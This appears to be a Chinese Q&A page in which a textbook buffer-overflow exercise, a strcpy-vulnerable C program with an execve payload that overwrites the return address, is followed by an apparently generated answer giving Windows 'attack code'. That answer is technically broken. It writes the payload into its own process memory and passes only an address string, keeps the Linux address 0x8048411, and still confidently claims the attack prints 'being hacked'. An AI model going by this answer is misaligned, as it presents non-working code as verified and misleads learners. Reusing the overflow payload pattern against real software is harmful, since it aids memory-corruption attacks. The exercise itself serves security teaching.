下面给出缓冲区溢出漏洞的一个实例,请结合函数调用的栈结构,说明为什么攻击会成功。 test.c #include <stdio.h> #include “string.h” void outputs(char* str){ char buffer[16]; strcpy(buffer, str); printf(“%s \n”, buffer); } void hacker(void){ printf(“being hacked\n”); } int main(int argc, char** argv[]){ outputs(argv[1]); return 0; } 假定hacker函数首地址为0x8048411,则可编写如下的攻击代码实施攻击。 #include <stdio.h> char code[]= “0123456789ABCDEFXXXX” “\x11\x84\x04\x08” “\x00”; int main(void){ char *arg[3]; arg[0]=”./test”; arg[1]=code; arg[2]=NULL; execve(arg[0], arg, NULL); return 0; } 请写出在Windows平台上验证攻击能否成功的代码。
时间: 2024-01-20 09:02:31 浏览: 107
缓冲区漏洞溢出攻击例程
在Windows平台上,需要使用不同的代码进行攻击,具体代码如下:
test.c
```c
#include <stdio.h>
#include <string.h>
void outputs(char* str){
char buffer[16];
strcpy(buffer, str);
printf("%s \n", buffer);
}
void hacker(void){
printf("being hacked\n");
}
int main(int argc, char** argv[]){
outputs(argv[1]);
return 0;
}
```
攻击代码
```c
#include <stdio.h>
#include <string.h>
#include <windows.h>
char code[] = "0123456789ABCDEFXXXX"
"\x11\x84\x04\x08"
"\x00";
int main(void){
HANDLE hProcess;
LPVOID lpBaseAddress;
DWORD dwWritten;
BOOL bRet;
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
lpBaseAddress = VirtualAllocEx(hProcess, NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
bRet = WriteProcessMemory(hProcess, lpBaseAddress, code, sizeof(code), &dwWritten);
if (!bRet || dwWritten != sizeof(code)) {
printf("write memory error\n");
return 1;
}
char cmd[256];
sprintf(cmd, "test.exe %p", lpBaseAddress);
system(cmd);
VirtualFreeEx(hProcess, lpBaseAddress, sizeof(code), MEM_RELEASE);
CloseHandle(hProcess);
return 0;
}
```
在攻击代码中,使用了Windows API中的函数来实现对进程的内存读写和调用。具体来说,使用了VirtualAllocEx函数在目标进程中分配内存,使用了WriteProcessMemory函数将攻击代码写入目标进程的内存中,使用了system函数来调用目标程序,并将攻击代码的地址以字符串的形式传递给目标程序。在目标程序中,再将攻击代码的地址作为输入参数,即可实现攻击。攻击成功后,会输出"being hacked"。最后使用VirtualFreeEx函数释放分配的内存,关闭句柄即可。
阅读全文